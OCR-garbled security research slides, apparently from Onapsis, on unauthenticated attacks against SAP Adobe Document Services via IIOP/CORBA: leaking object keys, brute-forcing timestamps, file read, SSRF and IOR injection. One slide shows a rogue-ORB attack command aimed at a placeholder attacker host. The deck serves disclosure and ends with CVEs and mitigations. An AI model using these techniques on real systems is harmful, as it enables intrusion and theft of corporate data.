Object Key of com.adobe.service.Manager from getObjectKey()

Counter (1B)




Object Key of com.adobe.service.Manager from getObjectKey()




iiop_chat

$ Java iiop_ chat
IOR:000000000000002b49444c3a6£6d672e6£72672£436£734e616d696e672f4e616d696e67436
£6e746578744578743a312e300000000000010000000000000054000102000000000£5052445341
5041445353525630310000C35700000000000ca2462600£5002£f46ed96010000000001[...]

00000000 00 00 00 00 00 00 00 2b 49 44 4c 3a 6f 6d 67 26 |....... +IDL:omg. |
00000010 6f 72 67 2f 43 6f 73 4e 61 6d 69 6e 67 2f 4e 61 |org/CosNaming/Na|]
00000020 6d 69 6e 67 43 6f 6e 74 65 78 74 45 78 74 3a 31 |mingContextExt:1|

00000030 2e 30 00 00 0O OO 00 01 00O OO OO OO 00 00 00 54 .0, T |
00000040 00 01 02 00 00 00 00 Of 50 52 PRDSAPAD|
00000050 53 53 52 56 30 31 00 00 c3 57 AW...... |

00000060 N 0 2f 46 ed 96 Pl |
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Object Key of com.adobe.service.Manager from getObjectKey()

Counter (1B)




iiop_chat

import org.omg.CosNaming.*;
import org.omg.CORBA.*;

import java.util.Properties;
public class iiop_ chat({
public static void main (String args|[])
[...1]
NamingContextExt nc =

NamingContextExtHelper.narrow (orb.resolve initial references ("NameService")) ;

org.omg.CORBA.Object objctx = nc.resolve str("com.adobe/AdobeDocumentServices") ;

System.out.println (objctx) ;

q [11] Oracle. Java Documentation - Naming Service.



iiop_chat

import org.omg.CosNaming.*;
import org.omg.CORBA.*;

import java.util.Properties;
public class iiop_ chat({
public static void main (String args|[])
[...1]
NamingContextExt nc =

NamingContextExtHelper.narrow (orb.resolve initial references ("NameService")) ;

org.omg.CORBA.Object objctx = nc.resolve str("com.adobe/AdobeDocumentServices") ;

System.out.println (objctx) ;

q [11] Oracle. Java Documentation - Naming Service.



// Invoked by resolve_str o ation of the Naming Service
public Object resolve( Component[] nameComponent) throws NotFound, CannotProceed,
InvalidName {
try {
String name = createName(na
Object result = null;

omponent); // Build full path

// Lookup stringified object name in"W\jndings of namespace

result = jndiContext.lookup(name);
}
[l
if (result instanceof Context)

// In case a naming context is resolved (e.g., browsing na aces), we end up here.

return (this instanceof NamingContextExt) ? (Object)new NamingContextExtImpl(name)
(Object)new NamingContextImpl(name);

[
// Invoked through ObjectHelper to ct reference into IIOP reply
public void write_Object(Object o
IOR ior;
if (o == null) {
IOR.NULL_IOR(this.orb).write_object((OutputStream)this);
return;

3} public vgid connect(Object o

try {
ior = ((DelegateImpl)((ObjectImpl)o). _get_delegate()).getIO

boolean loopForKey = t

private static int corr;
|
byte[] getObjectKey(int serverId) {
[===]
//f Leaks current state of object ID corr
nchronized (this) {
objkey[4] = (byte)corr++;

} catch (Exception e) { // Passing a naming cghtext object to connect() triggers getObjectKey()
// With the naming context obje ct() is called on the ORB while (loopForKey) {
Fhi5'°rb‘°°“"e°t(°); i byte[] objkey = getObjectKey(CorbaServiceFrame.getClusterId());
; dorgsi((pelegatemply((objectimpl)o)-—get=delegate ())cgeLIOR); IOR ior = new IOR((org.omg.CORBA.ORB)this, ids[0], host, port, objkey, (byte)1,

ior.write_object((OutputStream)this, ((ObjectImpl)o)._ids()[@]);

) [

qd

(this.versionMinor != 1) ? this.versionMinor : 2);



// Invoked by resolve str opgsation of the Naming Service
public Object resolve( Component[] nameComponent) throws NotFound, CannotProceed,
InvalidName {

try {
String name = createName (nal

omponent); // Build full path
Object result = null;

inndings of namespace

Lookup stringified object name
result = jndiContext.lookup(name);
}
| RS

if (result instanceof Context)

In case a naming context 1is resolved (e.g., bhrowsing nam aces), we end up here.
return (this instanceof NamingContextExt) ? (Object)new NamingContextExtImpl(name)
(Object)new NamingContextImpl(name);

[...]

Invoked through ObjectHelper to w ct reference into IIOP reply
public void write_Object(Object o
IOR ior;
if (o == null) {
IOR.NULL_IOR(this.orb).write_object((OutputStream)this);
return;
}

try {
ior = ((DelegateImpl)((ObjectImpl)o). get _delegate()).getIO

} catch (Exception e) {

// With the naming context objeg

ct() is called on the ORB

this.orb.connect(o);
ior = ((DelegateImpl)((ObjectImpl)o). get_delegate()).getIOR();

boolean loopForKey = t
// Passing a naming cCc
while (loopForKey) {
byte[] objkey = getObjectKey(CorbaServiceFrame.getClusterId());
IOR ior = new IOR((org.omg.CORBA.ORB)this, ids[@], host, port, objkey, (byte)1l,

private static int corr;

|
byte[] getObjectKey(int serverId) {

[...]

//f Leaks current state of object ID corr
nchronized (this) {

/ objkey[4] = (byte)corr++;

5

object to connect() triggers getObjectKey()

} ) . . .
(this.versionMinor != 1) ? this.versionMinor : 2);

ior.write_object((OutputStream)this, ((ObjectImpl)o)._ids()[0]);

qd

[ =]



$ java iiop chat iiop_chat
TOR:00000000000000249444c3a6£6d672e6£72672£436£734e616d696e672f4e616d69¢
£f6e746578744578743a312e300000000000010000000000000054000102000000000£5052445341
5041445353525630310000C35700000000000ca2462600573e4de3ee96010000000001 1. . .1

private static int corr;

|
byte[] getObjectKey(int serverId) {

dr---1

// Leaks current state of object ID corr

00000000 00 00
00000010 6f 72
00000020 6d 69
00000030 2e 30
00000040 00 01
00000050 53 53 00 Oc |SSRVOL..AW...... |
00000060 [NEEGEEEN 3e 4d e3 ee 96 01 00 00 00 00 01 |¢F&.o>Mai....... |
[...]

svnchronized (this) {

3 objkey[4] = (byte)corr++;

41 44 | ..., ... PRDSAPAD |




$ java iiop chat iiop_chat
IOR:000000000000002b49444c3a6f6d672e6£72672f436£734e616d696e672f4e616d69¢
£f6e746578744578743a312e300000000000010000000000000054000102000000000£5052445341
5041445353525630310000C35700000000000ca2462600573e4deRranQanNI1ANNNANnnNl L ]

ns.

00000000 00 00 00 00 00 00 00 2b 49 44 4c 3a 6f 6d §
00000010 6f 72 67 2f 43 “BMCounter (1B)R&sl
00000020 6d 69 6e 67 43 3 £:1]
00000030 2e 30 00 00 00 T
00000040 00 01 02 00 00 4T 44 ..., PRDSAPAD |

00000050 53 53 52 56 30 00 c3 57 00 00 00 00 00 Oc |SSRVOL..AW...... |
00000060 [NEEGEEEN 3e 4d e3 ee 96 01 00 00 00 00 01 |¢F&.o>Mai....... |
...
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Object Key of com.adobe.service.Manager from getObjectKey()




—

aw

Timestamp slot Pos\sibil-ity‘ — ‘ Rateﬁ i ;Appra)(‘Time' v—
Week 604,800,000 64/s 100 days
Day 86,400,000 64/s 15 days
Thour 3,600,000 64/s ~15hours

o,

*Inour lab, nolatency, 20 threads
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Current Time: 1711536539100 SAP NetWeaver Application Server Java
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https://docs.google.com/file/d/1ORB1Y1eMW6OrYn2c-iZfnr6BAOB6QDw4/preview
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What can we do with the CORBA Object Key for
com.adobe.service.Manager ?

Remotely & Unauthenticated

e Readingarbitrary files via com.adobe.service.DataManager
e Triggering an SSRF via com.adobe . service.DataManager

e IORInjection via com.adobe.service.Manager

e Leakinginformation and Java properties



What can we do with the CORBA Object Key for
com.adobe.service.Manager ?

Remotely & Unauthenticated

e Readingarbitrary files via com.adobe.service.DataManager
e Triggering an SSRF via com.adobe.service.DataManager

e IORInjectionviacom.adobe.service.Manager

e Leakinginformation and Java properties
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Victim POV Attacker POV

saphost.corp

| Print Version || Add Row || Delete Row |

5 Firstname @ Last Name = Currency SALARY Residence CL
Marcel Portier EUR 4,321.01 Paris
Claude Guerenot EUR 15,441.67 Paris
Solange-Julie Mercone EUR 1,541.23 Paris
Perry Momster EUR 5,609.80 Den Haag
Lisa Momster-T ... USD 429.40 New York
Alf Tomster-M ... USD 10,987.45 San Francisco
Pamela Beroti usD 955.67 San Francisco
Timothy Clark uUsD 3,955.67 San Francisco
Tomas Beroti UsD 5,556.70 New York # python3 iiop_rogue_orb.py -lh ATTACKER.HOST1 -rh PRDSAPADSSRVO1l -1p 5566 -rp
Homer Simpson usD 1,257.80 San Francisco R e D2> JeBY/BuLE
Fred Larrington uUsD 11,245.30 San Francisco
Thekla Mollins uUsD 6,234.78 New York
Sarah Smith UsD 1,454.78 New York
Mike Forester uUsD 12,456.56 New York
Wong JPY 12,678 Tokio
Lang JPY 62,347 Tokio

Hong JPY 62,544 Tokio
Sing JPY 4,563 Tokio
Wang JPY 14,563 Tokio

[0]Image in PDF Created By Google Gemini.
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sttt b KA |

SAP Security Note CvVss Cvss - — - S Title*
3536965 CVE-2024-47578 | 91 | SAP ADS - Overwrite arbitrary file by PDF leading to RCE
3485284 CVE-2024-42374 | 8.2 | XML injection in SAP BEx Web Java Runtime Export Web Service
3536965 CVE-2024-47580 | 6.8 | SAP ADS - Download arbitrary file from PDF attachment
3536965 CVE-2024-47579 | 6.8 | SAP ADS - Download arbitrary file from customer fonts

[6] SAP SE. SAP Security Notes.
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3536965 CVE-2024-47578 | 91 | SAP ADS - Overwrite arbitrary file by PDF leading to RCE
3485284 CVE-2024-42374 | 8.2 | XML injection in SAP BEx Web Java Runtime Export Web Service
3536965 CVE-2024-47580 | 6.8 | SAP ADS - Download arbitrary file from PDF attachment
3536965 CVE-2024-47579 | 6.8 | SAP ADS - Download arbitrary file from customer fonts
2807586 - - | IFbA: ADS IIOPSSL configuration for NW7.31and higher

[6] SAP SE. SAP Security Notes.
[14] SAP SE. SAP Note 2807586.
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3536965 CVE-2024-47578 | 91 | SAP ADS - Overwrite arbitrary file by PDF leading to RCE
3485284 CVE-2024-42374 | 8.2 | XML injection in SAP BEx Web Java Runtime Export Web Service
3536965 CVE-2024-47580 | 6.8 | SAP ADS - Download arbitrary file from PDF attachment
3536965 CVE-2024-47579 | 6.8 | SAP ADS - Download arbitrary file from customer fonts
2807586 = - | IFbA: ADS IIOPSSL configuration for NW7.31and higher

SAP Help Portal: SAP Interactive Forms by Adobe Security Guide

[6] SAP SE. SAP Security Notes.
[14] SAP SE. SAP Note 2807586.

[15] SAP SE. SAP Help Portal - SAP Interactive Forms by Adobe Security Guide.
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Takeaways

Thinking outside the box
Security risks and insights into SAP ADS and SAP IIOP/CORBA

Mitigations involving enabling non-default configurations



Future Work

lIOP interface research
Cloud-native ADS (BTP) - SAP Forms Service by Adobe
HANA XSA based ADS

[16] SAP SE. SAP Help Portal - SAP Forms Service by Adobe.
[17] SAP SE. ADS on SAP HANA Extended Application Services, Advanced Model (XSA).



Call For Action

Patch patch patch
Enable IIOPSEC/IIOPSSL (non-default)
e Client-side certificate authentication

e DisableplainllOP service port
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All data submitted in this document is solely for the use of the recipient and cannot be disclosed to any third party or used by the recipient for any other purpose than cooperation
with Onapsis. This data shall not be duplicated, used or disclosed in whole or in part for any purpose. If a contract is awarded to Onapsis as a result of, or in connection with the
submission of this data, the customer or prospective customer shall have the right to duplicate, use or disclose this data to the extent provided in the contract. This restriction does
not limit the customer’s or prospective customer’s right to use the information contained in the data if it is obtained from another source without restriction. The data contained in
this presentation does not constitute legal advice and is for informational purposes only. An attorney-client relationship is not presumed or intended by receipt or review of this
presentation. Onapsis does not make any representations or warranties, express or implied, with respect to the accuracy or completeness of the data included in this presentation.
Onapsis will have no liability with respect to the use or reliance upon this data by recipient. The following information is being shared in order to outline some of Onapsis’ current
product plans, but it is important to understand that it is being shared for informational purposes only, and not as a binding commitment. Please do not rely on this information in
making purchasing decisions because Onapsis makes no representations about future functionality, and ultimately, the development, release, and timing of any products, features

or functionality remains at the sole discretion of Onapsis and is subject to change.



